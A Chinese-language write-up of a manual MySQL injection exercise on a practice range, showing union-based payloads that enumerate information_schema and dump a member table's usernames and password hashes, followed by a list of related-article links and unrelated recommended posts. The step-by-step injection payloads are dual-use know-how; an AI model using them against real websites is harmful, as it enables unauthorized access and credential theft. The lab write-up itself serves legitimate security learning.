实验环境:墨者学院Mysql手工注入漏洞测试靶场

后台源码没有进行任何字符过滤。

首先进入靶场环境



先用admin登陆试试



果然不行,这时看到用户登录下方有一个停机维护通知,点进去瞅瞅



看到这里链接上有id = 1,怀疑这里会有注入点。

判断注入点

先简单判断是不是字符型注入点,使用单引号闭合语句,注释后面的语句

?id = 1'--+



发现页面有异常,可能不是字符型,再试试数字型注入

?id = 1 and 1 = 1



发现and 1 = 1没有返回异常,再进一步进行判断

?id = 1 and 1 = 2



页面出现异常,说明这里存在数字型注入点

猜解字段数

发现存在注入点之后使用order by语句判断字段的数目。

?id=1 order by 3



先试一下是不是3列,发现没有报错,说明至少存在3列,接着猜解。



尝试到5发现报错了,因为字段没有5列,使用order by时无法根据第5列排序,所以出错,由此判断字段数目是4.

联合查询

因为猜解出来的字段数是4,所以联合查询的语句应该这么写?id=1 union select 1,2,3,4,但因为这个语句是成立的,为了让页面爆出我们需要的字段,这里就需要构造一个错误的语句,让数据库报错时返回我们需要的信息。

?id=-1 union select 1,2,3,4



可以看到这里页面上爆出了2和3两个数字,说明2和3两个数字对应当前数据表的两个字段会回显到页面上的,这样就可以根据2,3两个回显位查询一些我们需要的信息。

常用的Mysql系统函数有:

version()            #MySQL版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本

比如查询当前的数据库名称和当前用户。

?id=-1 union select 1,database(),user(),4



这样我们就成功查询到当前数据库,接着找这个数据库里的数据表。

查询数据表

补充1:数据库关键库

这里需要使用到数据库中一个重要的库information_schema,这个库下面的schemadata表中存放着所有数据库的信息,其中schema_name列中保存着所有数据库名,tables表中存放着所有数据表的信息,其中table_schema列存放着数据库名,table_name列存放着数据表名,columns表中存放着所有数据表的所有列信息,其中column_name存放着所有列名,table_name存放着表名。

补充2:concat函数的用法

1.concat(str1,str2)

将多个结果一行返回。如有任何一个参数为NULL ,则返回值为 NULL。

mysql> select 1,2,3;
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
| 1 | 2 | 3 |
+---+---+---+
1 row in set (0.00 sec) mysql> select concat(1,2,3);
+---------------+
| concat(1,2,3) |
+---------------+
| 123 |
+---------------+
1 row in set (0.00 sec)

2.concat_ws(separator,str1,str2)

concat_ws是concat()的特殊形式。第一个参数是其它参数的分隔符,分隔符可以是一个字符串,也可以是其它参数。

mysql> select concat_ws('~',1,2,3);
+----------------------+
| concat_ws('~',1,2,3) |
+----------------------+
| 1~2~3 |
+----------------------+
1 row in set (0.00 sec)

3.group_concat完整语法如下,默认使用逗号分隔多个结果:

group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_name = database()



这样就查询到当前数据库里面有两个数据表,分别为StormGroup_member,notice

查询列名

?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'



查询到有这个表有四个字段id,name,password,status

查询数据

根据上面查询到的四个字段查询数据

?id=-1 union select 1,concat_ws('~',id,name,password,status),3,4 from StormGroup_member



成功查到账号密码,不过这个密码好像是加密的,先进行解密



使用这个账号密码登陆试试



最后尴尬的一幕出现了(/哭)。

Mysql基本注入的更多相关文章

  1. SQLMAP学习笔记2 Mysql数据库注入

    SQLMAP学习笔记2 Mysql数据库注入 注入流程 (如果网站需要登录,就要用到cookie信息,通过F12开发者工具获取cookie信息) sqlmap -u "URL" - ...

  2. MYSQL手工注入(详细步骤)—— 待补充

    0x00 SQL注入的分类: (1)基于从服务器接收到的响应         ▲基于错误的 SQL 注入         ▲联合查询的类型         ▲堆查询注射         ▲SQL 盲注 ...

  3. MySQL手工注入学习-1

    MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...

  4. Mysql常见注入

    Mysql显错注入 1.判断注入类型为字符型:http://219.153.49.228:43074/new_list.php?id=tingjigonggao' and 1=1 --+2.判断字段为 ...

  5. 手工注入——MySQL手工注入实战和分析

    今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...

  6. MySQL手工注入进阶篇——突破过滤危险字符问题

    当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...

  7. MySQL SQL 注入

    如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本博文将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入的字符. 所谓SQL注入,就是 ...

  8. mysql手工注入

    以下是mynona本人原创的,奉献给大家,不要小看数据库注入 参考: http://www.daydaydata.com/help/sql/advance/limit.html http://www. ...

  9. mysql sqlmap 注入尝试

    假设注入点为 http://www.abc.com/news.php?id=12 //探测数据库信息 sqlmap -u http://www.abc.com/news.php?id=12 –dbs ...

随机推荐

  1. HDU2255 奔小康赚小钱钱(二分图-最大带权匹配)

    传说在遥远的地方有一个非常富裕的村落,有一天,村长决定进行制度改革:重新分配房子. 这可是一件大事,关系到人民的住房问题啊.村里共有n间房间,刚好有n家老百姓,考虑到每家都要有房住(如果有老百姓没房子 ...

  2. 如何成为一名成功的iOS程序员,挑战年薪50万?

    编程是一个仅靠兴趣仍不足以抵达成功彼岸的领域.你必须充满激情,并且持之以恒地不断汲取更多有关编程的知识.只是对编程感兴趣还不足以功成名就——众所周知,我们工作起来像疯子. 编程是一个没有极限的职业,所 ...

  3. Linux搭建Java环境(JDK+Tomcat+MySQL)

    目录 一.项目环境: 二.安装JDK1.8 三.安装Tomcat8.5 四.安装MySQL数据库 五.配置JAVA项目 一.项目环境: 开发环境 生产环境 测试环境 硬件环境: web服务器:cpu: ...

  4. Linux---centos7.0安装、配置

    参考:https://blog.csdn.net/qq_37057095/article/details/81240450

  5. ES6中export default与export的区别

    1.export default 和export都可以用于导出常量,函数,文件,模块等: 2.可以在模块中通过import+(常量 | 函数 | 文件 | 模块)名的方式,将其导入,以便能够对其进行使 ...

  6. Java Properties 加载

    static{ Properties prop = new Properties(); prop.load(Thread.currentThread().getContextClassLoader() ...

  7. drf源码分析系列---节流(访问频率限制)

    使用 from rest_framework.throttling import AnonRateThrottle from rest_framework.generics import ListAP ...

  8. Django序列化时间报错

    一.前言 当利用models模块从数据库获取数据时,当获的取数据序列化时,如果获取的数据中有关于时间类型的字段,则会报错,错误如下: TypeError: datetime.datetime(2018 ...

  9. OCR (光学字符识别技术)安装

    一.安装homebrew 1)打开终端直接输入安装命令:     /usr/bin/ruby -e "$(curl -fsSL https://raw.githubusercontent.c ...

  10. TP5中find_in_set的用法

    TP5.1.22版本 $id=4; Db::name('menu')->where('FIND_IN_SET(:id,pid_all)',['id' => $id])->update ...